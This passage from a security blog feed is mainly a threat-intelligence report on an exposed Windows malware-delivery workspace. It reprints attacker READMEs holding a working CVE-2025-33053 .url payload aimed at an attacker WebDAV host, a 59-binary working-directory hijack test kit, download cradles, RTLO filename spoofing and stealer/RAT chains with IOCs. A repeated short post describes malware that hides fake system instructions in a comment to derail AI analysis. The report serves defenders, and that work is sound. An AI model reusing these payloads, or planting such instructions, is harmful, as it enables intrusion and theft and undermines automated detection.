search-ms, library-ms, .cpl, and related delivery containers

Payload stubs and spoofed executables

21

Smaller loaders, decoys, and renamed binaries

WebDAV scripts

17

Scripts intended to make WebDAV delivery more reliable on Windows systems

Builder and operator notes

10

README files, test reports, mappings, and generation scripts

ClickFix HTML lures

9

Browser-based social-engineering pages instructing users to run commands

Miscellaneous files

6

Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

testing-files-subfolders.png
Figure 1: Snippet of one of many subfolders containing testing files.

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE

Observed samples

Short description

CVE-2025-33053

11

Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

CVE-2026-21513

4

MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

CVE-2025-24054

1

Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(…), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government’s CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP


It’s worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Simba-Service-WebDAV-dashboard-CURP.png
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Execution-chain-PDF-lure.jpg
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

  • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
  • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

  • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The “DlrtyGames” sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

DlrtyGames-execution-chain.jpg
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Hardcoded-$outDir-path.png
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.


It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Simba-server-screenshot-panel.png
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

Simba-server-system-requirements.png
Figure 10: Simba service system requirements.

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒdᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs’ Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

simba-service-presentation.png
Figure 12: Simba service presentation.

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

simba-service-page-with-blocking-capabilities_.png
Figure 13: Simba service page with blocking capabilities.

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country

Requests

Share of requests

Unique client IPs

Launch events

Mexico

63,622

82.5%

2,698

2,365

United States

4,032

5.2%

463

47

Germany

2,751

3.6%

59

1

United Kingdom

645

0.8%

40

0

Netherlands

532

0.7%

49

1

France

407

0.5%

21

0

Finland

401

0.5%

6

10

Brazil

343

0.4%

41

0

Republic of Korea

312

0.4%

16

1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method

Count

PROPFIND

57,287

GET

13,088

OPTIONS

6,597

PROPPATCH

125

LOCK

1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status

Count

207

57,412

200

19,532

206

154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name

MITRE ATT&CK technique

Code

Payload execution

User Execution: Malicious File

T1204.002

Masquerading

Right-to-Left Override

T1036.002

Masquerading

Double File Extension

T1036.007

DLL sideloading

Hijack Execution Flow: DLL

T1574.001

Obfuscation

Encrypted/Encoded File

T1027.013

Payload unpacking

Deobfuscate/Decode Files or Information

T1140

Payload carrier

Steganography / image-carried payload data

T1027.003

API hiding

Dynamic API Resolution

T1027.007

In-memory loading

Reflective Code Loading

T1620

Injection

Process Hollowing

T1055.012

Native API use

Native API

T1106

Sandbox evasion

Time Based Evasion

T1497.003

Anti-analysis

Debugger / instrumentation checks

T1622

UAC bypass

Bypass User Account Control

T1548.002

Persistence

Registry Run Keys / Startup Folder

T1547.001

Persistence

Scheduled Task

T1053.005

Collection

Keylogging

T1056.001

Collection

Screen Capture

T1113

Collection

Clipboard Data

T1115

Credential access

Credentials from Web Browsers

T1555.003

Credential access

Steal Web Session Cookie

T1539

Collection

Data from Local System

T1005

Collection

Automated Collection

T1119

Staging

Archive Collected Data: Archive via Utility

T1560.001

C2

Encrypted Channel

T1573

Exfiltration

Exfiltration Over C2 Channel

T1041

Possible persistence

WMI Event Subscription

T1546.003

Phishing lure generation

Generate Phishing Lures

AML.T0052

Resource Development

Resource Development

AML.TA0003

Obtain capabilities via LLM tooling

Obtain Capabilities

AML.T0016

LLM-assisted capability development

Develop Capabilities

AML.T0017

LLM prompt crafting for attack documentation

LLM Prompt Crafting

AML.T0065

Obtain capabilities via tooling

Obtain Capabilities: Software Tools

AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Embedding Forbidden Text in Spyware to Discourage AI Analysis

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/06/embedding-forbidden-text-in-spyware-to-discourage-ai-analysis-2.html

At least one malware developer is adding text about nuclear and biological weapons to their spyware, in an effort to stop automatic AI analysis.

Details:

The _index.js payload begins with a large JavaScript block comment containing fake system instructions and policy-triggering content. Because it is inside a comment, it does not affect JavaScript execution. The runtime skips it. The real malware begins after the comment with a try{eval(…)} wrapper around a large character-code array and a ROT-style substitution function.

This header appears designed for AI-mediated analysis, not for Node, Bun, or Python. It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.

This is not a magical bypass against static detection. YARA rules, entropy checks, AST parsing, string extraction, deobfuscation, and behavioral rules still work. But it is a practical anti-analysis trick against naive LLM-first triage systems.

Embedding Forbidden Text in Spyware to Discourage AI Analysis

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/06/embedding-forbidden-text-in-spyware-to-discourage-ai-analysis.html

At least one malware developer is adding text about nuclear and biological weapons to their spyware, in an effort to stop automatic AI analysis.

Details:

The _index.js payload begins with a large JavaScript block comment containing fake system instructions and policy-triggering content. Because it is inside a comment, it does not affect JavaScript execution. The runtime skips it. The real malware begins after the comment with a try{eval(…)} wrapper around a large character-code array and a ROT-style substitution function.

This header appears designed for AI-mediated analysis, not for Node, Bun, or Python. It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.

This is not a magical bypass against static detection. YARA rules, entropy checks, AST parsing, string extraction, deobfuscation, and behavioral rules still work. But it is a practical anti-analysis trick against naive LLM-first triage systems.

Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain

Post Syndicated from Anna Širokova original https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain

Executive summary

Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor “Dropping Elephant,” characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of “Donut” shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.

The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7’s deep analysis confirms this activity is a direct evolution of Dropping Elephant’s tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.

